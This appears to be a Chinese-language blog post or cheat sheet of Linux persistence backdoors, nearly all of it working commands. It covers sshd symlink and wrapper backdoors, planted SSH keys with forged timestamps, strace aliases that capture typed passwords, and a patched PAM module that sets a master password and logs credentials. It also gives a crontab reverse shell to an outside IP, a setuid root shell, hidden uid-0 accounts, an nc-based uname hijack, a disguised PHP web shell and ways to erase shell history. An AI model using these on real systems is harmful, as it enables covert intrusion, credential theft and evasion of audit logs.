一、SSH后门
1.软链接sshd
#!bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 #相当于创建一个sshd的快捷方式,然后运行快捷方式监听12345端口,使用ssh连接时不需要密码
ssh root@192.168.78.19 -p 12345
输入任意密码就可以root用户权限登陆,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆。
2.ssh server wrapper
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
socat STDIO TCP4:192.168.78.37:22,sourceport=13377
其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现:
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF' #对应的替换为if (getpeername(STDIN) =~ /^..LF/);
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
>>> buffer = struct.pack('>I6',16714)
>>> print buffer
AJ
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
3.ssh key
生成私钥和公钥:
ssh-keygen -t rsa
把公钥id_rsa.pub发送到目标上:
/root/.ssh/authorized_keys
更改时间:
touch -r known_hosts authorized_keys #更改时间戳,防止被发现(复制known_hosts的时间戳到authorized)
service ssh restart
4.ssh keylogger
编辑当前用户下的`.bashrc`文件,在配置文件末尾添加:
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
原理:通过创建别名使用户在执行ssh后记录下用户与系统进行交互时产生的日志,并记录到/tmp/目录下
ssh连接,输入密码时的密码,无论错误或者正确都能记录到log里。
5.SSH隐身登录
隐身登录系统,不会被last、who、w等指令检测到
ssh -T user@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
6.Linux_PAM后门(常用)
下载pam源码(安装在攻击机上)
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxf Linux-PAM-1.1.8.tar.gz
安装环境(在攻击机上)
apt install -y gcc flex
修改pam_unix_auth.c源码(在下载的源码目录中)
Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c (大概在180行)
if (strcmp("mypassword",p)==0) {return PAM_SUCCESS;}
编译生成so文件
cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
so文件路径:Linux-PAM-1.1.8/modules/pam_unix/.lib/pam_unix.so
- 替换系统pam_unix.so文件(目标机器)
查找系统pam_unix.so文件路径
find / -name pam_unix.so 2>/dev/null
备份系统pam_unix.so文件
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
替换系统pam_unix.so文件
cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
修改时间戳
touch pam_unix.so -r pam_xauth.so
SSH登录
密码为mypassword,不影响原本root密码的登录。
查看日志文件:/var/log/auth.log,发现这种方式下的登录跟正常登录下的情况不一样。
修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c (使登录日志无异常)
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// if (strcmp("mypassword",p)==0) {return PAM_SUCCESS;}
FILE * fp;
if (retval == PAM_SUCCESS) {
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n", name,p);
fclose(fp);
}
name = p = NULL;
修改Linux-PAM-1.1.8/modules/pam_unix/support.c
int _unix_verify_password(pam_handle_t * pamh, const char *name,const char *p, unsigned int ctrl)
{
struct passwd *pwd = NULL;
char *salt = NULL;
char *data_name;
int retval;
if (strcmp("mypassword2",p)==0) {return PAM_SUCCESS;} //主要添加该行
D(("called"));
然后编译生成so文件,替换系统pam_unix.so文件即可。
二、Alias后门、Crontab后门
1.Alias后门
通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。
修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
另一个,先上传一个.shell木马文件,然后通过别名执行
alias cat='/root/.shell && cat'
2.Crontab后门
每分钟反弹一次shell给指定ip的8888端口
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.1.227/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
三、Setuid & Setgid
1.Setuid and Setgid
setuid:设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件,则在执行过程中,该文件可以获得root权限,从而可以更改用户的密码。
setgid:该权限只对目录有效. 目录被设置该位后,任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
示例back.c文件:
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
gcc back.c -o back
cp back /bin/
chmod u+s /bin/back
四、Other
1.Linux隐藏技术
(1)简单文件隐藏
touch .myfile.py
ls -la
(2)隐藏权限
chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来。
chattr +i 1.txt //添加
chattr -i 1.txt //移除
(3)隐藏历史记录
拿到shell以后,开启无痕模式,禁用命令历史记录功能。
set +o history //关闭
set -o history //恢复
(4)删除历史命令
删除100行以后的历史操作命令(删除前先将为保存到文件中的历史记录保存,使用history -w命令)
sed -i '100,$d' .bash_history
2.PROMPT_COMMAND后门
Linux Bash Shell提供了一个环境变量:PROMPT_COMMAND,这个变量是在BASH出现提示符前执行的命令。(可以使用export改变环境变量,使之执行一个木马程序)
PROMPT_COMMAND记录历史操作:
PROMPT_COMMAND='msg=$(history 1|{ read x y; echo $y; });user=$(who am i);logger $(date "+%Y-%m-%d%H:%M:%S"):$user[$(whoami)]:`pwd`/:"$msg"'
PROMPT_COMMAND提权:(相当于创建一个隐藏账户)
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
3.strace后门
strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
su='strace -o /tmp/sulog-`date +%d%h%m%s`.log -e read,write,connect -s2048 su'
4.后门账号
perl -e 'print crypt("fitar","afrxvse")."\n"' (先生成一个加密后的密码值)
adu01teZNx5nY (生成的加密后的密码)
echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash">>/etc/passwd (添加root权限的用户)
5.uname后门(uname劫持)
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null &
/bin/uname $@
6.\r后门(cat命令无法查看\r字符之前的内容,但是vim可以查看,有一定的隐藏效果)
echo -e "<?=\`\$_POST[cmd]\`?>\r<?='fitar ';?>" >/var/www/html/1ndex.php
cat 1ndex.php
<?='fitar ';?>
Comments | NOTHING